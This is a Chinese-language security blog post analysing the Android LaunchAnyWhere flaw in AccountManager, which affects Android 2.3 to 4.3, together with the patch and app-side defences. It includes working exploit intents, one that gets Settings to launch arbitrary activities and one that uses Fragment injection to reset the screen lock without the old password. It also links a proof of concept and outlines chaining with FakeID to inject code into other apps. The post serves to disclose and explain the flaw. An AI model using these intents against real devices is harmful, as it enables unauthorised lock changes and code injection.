Android LaunchAnyWhere (Google Bug 7699048)漏洞详解及防御措施

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近日，Google修复一个组件安全的漏洞LaunchAnyWhere（Google Bug 7699048）。这个漏洞属于Intend Based提取漏洞，攻击者利用这个漏洞，可以突破了应用间的权限隔离，达到调用任意私有Activity（exported为false）的目的。

该漏洞影响Android 2.3至4.3固件。

漏洞分析

在分析这个漏洞之前，需要先介绍两个东西。

Account管理机制

从Android2.0开始，系统引入了Account管理机制，详细使用说明见Android官方文档。Account管理机制提供了集中化管理帐户API以及安全存储用户口令和令牌的功能。系统中，可以同时存在多个帐户（设置——添加帐户可以查看），比如Google、Miscrosoft Exchange、微信、支付宝、陌陌等等

Account机制涉及AuthenticationService和Client两个组成元素，它们之间的的通讯统一由AccountManagerService调度，AccountManagerService是Android上的一个系统服务。当Client首次使用时，会向AuthenticationService发起addAccount请求，示意图如下:

最后AuthenticationService会把指定的Intent返回给Client，Client则通过startActivityForResult对最终结果进行处理。这部分源码比较有趣，我们先看看AccountManager.addAccount的代码：

public AccountManagerFuture<Bundle> addAccount(final String accountType,
            final String authTokenType, final String[] requiredFeatures,
            final Bundle addAccountOptions,
            final Activity activity, AccountManagerCallback<Bundle> callback, Handler handler) {
        if (accountType == null) throw new IllegalArgumentException("accountType is null");
        final Bundle optionsIn = new Bundle();
        if (addAccountOptions != null) {
            optionsIn.putAll(addAccountOptions);
        }
        optionsIn.putString(KEY_ANDROID_PACKAGE_NAME, mContext.getPackageName());
        return new AmsTask(activity, handler, callback) {
            public void doWork() throws RemoteException {
                mService.addAccount(mResponse, accountType, authTokenType,
                        requiredFeatures, activity != null, optionsIn);
            }
        }.start();
    }

最后代码是通过一个AmsTask调用addAccount的，而AmsTask本身是一个异步任务，mRespone是一个Binder对象，当AuthenticationService指定Intent后，就是把intent保存到这个respone对象里，最后看看这个Respone的源码：

/** Handles the responses from the AccountManager */
private class Response extends IAccountManagerResponse.Stub {
    public void onResult(Bundle bundle) {
        Intent intent = bundle.getParcelable(KEY_INTENT);
        if (intent != null && mActivity != null) {
            // since the user provided an Activity we will silently start intents
            // that we see
            mActivity.startActivity(intent);
            // leave the Future running to wait for the real response to this request
        } else if (bundle.getBoolean("retry")) {
            try {
                doWork();
            } catch (RemoteException e) {
                // this will only happen if the system process is dead, which means
                // we will be dying ourselves
            }
        } else {
            set(bundle);
        }
    }
    public void onError(int code, String message) {
        if (code == ERROR_CODE_CANCELED || code == ERROR_CODE_USER_RESTRICTED) {
            // the authenticator indicated that this request was canceled, do so now
            cancel(true /* mayInterruptIfRunning */);
            return;
        }
        setException(convertErrorToException(code, message));
    }
}

从代码可见，Respone直接帮我们startActivity了。

关于System用户

在Android中，可以说System用户拥有相当高的权限，通过阅读源码可以发，所有permissoin的地方都是直接放行System用户的，见代码ActivityManagerService.checkComponentPermission

    /**
     * This can be called with or without the global lock held.
     */
    int checkComponentPermission(String permission, int pid, int uid,
            int owningUid, boolean exported) {
        // We might be performing an operation on behalf of an indirect binder
        // invocation, e.g. via {@link #openContentUri}.  Check and adjust the
        // client identity accordingly before proceeding.
        Identity tlsIdentity = sCallerIdentity.get();
        if (tlsIdentity != null) {
            Slog.d(TAG, "checkComponentPermission() adjusting {pid,uid} to {"
                    + tlsIdentity.pid + "," + tlsIdentity.uid + "}");
            uid = tlsIdentity.uid;
            pid = tlsIdentity.pid;
        }

        if (pid == MY_PID) {
            return PackageManager.PERMISSION_GRANTED;
        }

        return ActivityManager.checkComponentPermission(permission, uid,
                owningUid, exported);
    }

可见system用户可以完全无视权限检查，不管组件是否为exported，最后都直接返回PERMISSION_GRANTED。

漏洞分析

通过上面对Account机制和System用户的分析，接下来进入主题吧。

在常规情况下，当某个Client发起addAccount请求时，AuthenticationService一般会返回一个指向同包下的Activity（系统提供了基类AccountAuthenticatorActivity），这个Activity主要负责完成帐户和密码的输入交互。

然而，理论上这个AuthenticationService是可以随意指定Intent的，比如指定其他包下的Activity。由于最终startActivity的调用发生在Client进程，因此AuthenticationService是可以调起所有Client能够打开的Activity，当然包含Client自身的exported为false的Activity了。

但Client往往只是一般用户，这种用途价值并不高。幸好系统的Setting帐户相关的功能，提供了一些可以利用的逻辑。漏洞利用原理：想办法令Setting调用addAccount方法，EvilAuthenService就可以指定任意的Intent，由于startActivity的调用发生在Setting，因此就具备了System用户的所有权限了。

通过下面代码， 我们可以直接让Setting发起一个AddAccount请求:

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.accounts.AddAccountSettings"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = {Constants.ACCOUNT_TYPE};
intent.putExtra("account_types", authTypes);//authType需要指定
AuthenticatorActivity.this.startActivity(intent);

利用示意图如下：

漏洞利用

LaunchAnyWhere漏洞，如果结合其他的漏洞，效果会非常惊艳。

结合Fragment注入漏洞，直接修改屏幕密码

Fragment注入漏洞详解见我之前的博客《Android框架攻击之Fragment注入》。这个漏洞目前大部分厂商已经修复了，但如果再配合LaunchAnyWhere漏洞，那么Fragment注入漏洞修复就形同虚设了。这里把Fragment注入漏洞利用的关键代码贴出来：

Intent intent = new Intent();  
intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);  
intent.setClassName("com.android.settings", "com.android.settings.Settings");  
intent.putExtra(":android:show_fragment","com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment");  
intent.putExtra("confirm_credentials", false);  

startActivity(intent); 

漏洞利用POC, 见https://github.com/retme7/launchAnyWhere_poc_by_retme_bug_7699048

结合FakeID漏洞，实现InjectAnyWhere

FakeID漏洞详解见我之前的博客《Android FakeID(Google Bug 13678484) 漏洞详解》。

FakeID漏洞利用的关键让目标进程运行Webview控件，加载Flash控件达到程序注入的目的。通过LaunchAnyWhere漏洞，我们可以直接打开目标进程的Webview。

FakeID和LaunchAnyWhere完美结合的做法是在一个APK中同时集成两个漏洞利用，大致过程如下：

1. EvilApp首先令Setting产生一AddAccount请求，并把accountType指定EvilApp本身处理；
2. EvilApp创建Intent，并把Intent指向攻击应用Webview的Activity（如微信的com.tencent.mm.plugin.webview.ui.tools.ContactQZoneWebView），url指向某个有flash元素的网页；
3. 由于FakeID，WebView则会加载EvilApp中so，注入完毕；
4. 在so中再直接加载EvilApp.apk文件，实现Java注入，这部分更详细的内容，见我之前的博客《攻击的Android注入术》；

漏洞修复

这个漏洞在4.4上已经修复，看看修复的代码，可以找到防御的思路：

public void onResult(Bundle result) {
             mNumResults++;
-            if (result != null && !TextUtils.isEmpty(result.getString(AccountManager.KEY_AUTHTOKEN))) {
+            Intent intent = null;
+            if (result != null
+                    && (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
+                /*
+                 * The Authenticator API allows third party authenticators to
+                 * supply arbitrary intents to other apps that they can run,
+                 * this can be very bad when those apps are in the system like
+                 * the System Settings.
+                 */
+                PackageManager pm = mContext.getPackageManager();
+                ResolveInfo resolveInfo = pm.resolveActivity(intent, 0);
+                int targetUid = resolveInfo.activityInfo.applicationInfo.uid;
+                int authenticatorUid = Binder.getCallingUid();
+                if (PackageManager.SIGNATURE_MATCH !=
+                        pm.checkSignatures(authenticatorUid, targetUid)) {
+                    throw new SecurityException(
+                            "Activity to be started with KEY_INTENT must " +
+                            "share Authenticator's signatures");
+                }
+            }
+            if (result != null
+                    && !TextUtils.isEmpty(result.getString(AccountManager.KEY_AUTHTOKEN))) {
                 String accountName = result.getString(AccountManager.KEY_ACCOUNT_NAME);
                 String accountType = result.getString(AccountManager.KEY_ACCOUNT_TYPE);
                 if (!TextUtils.isEmpty(accountName) && !TextUtils.isEmpty(accountType)) {
@@ -2223,6 +2276,7 @@
             super(looper);
         }

由于 Resopne是一个Binder对象，因此当onResult被回调时，可以通过Binder.getCallingUid()获取authenticatorUid，如果targetUid跟authenticatorUid不相同，则直接对AuthenticationService抛异常。

防御措施

应用自身的防御措施是保证expotred为false的Activity不被意外调起。我们通过添加一些检查点，比如B是一个expotred为fase的Activity，按正常逻辑，Activity的堆栈顺序是:

• A1->B->C1
• A2->B->C2

那么我们就可以在A1和A2中设置一检查点，当进入B时，发现检查点没有设置，则认为B被非法调起。沿着这个思路，如果我们把Activity的调用堆栈都记录下来，那么当进入B前，当前栈必然只能是A1或者A2，否则则认为B被非法调起。

Activity堆栈管理的一个实现，可以参考这里http://www.apkbus.com/blog-117210-44386.html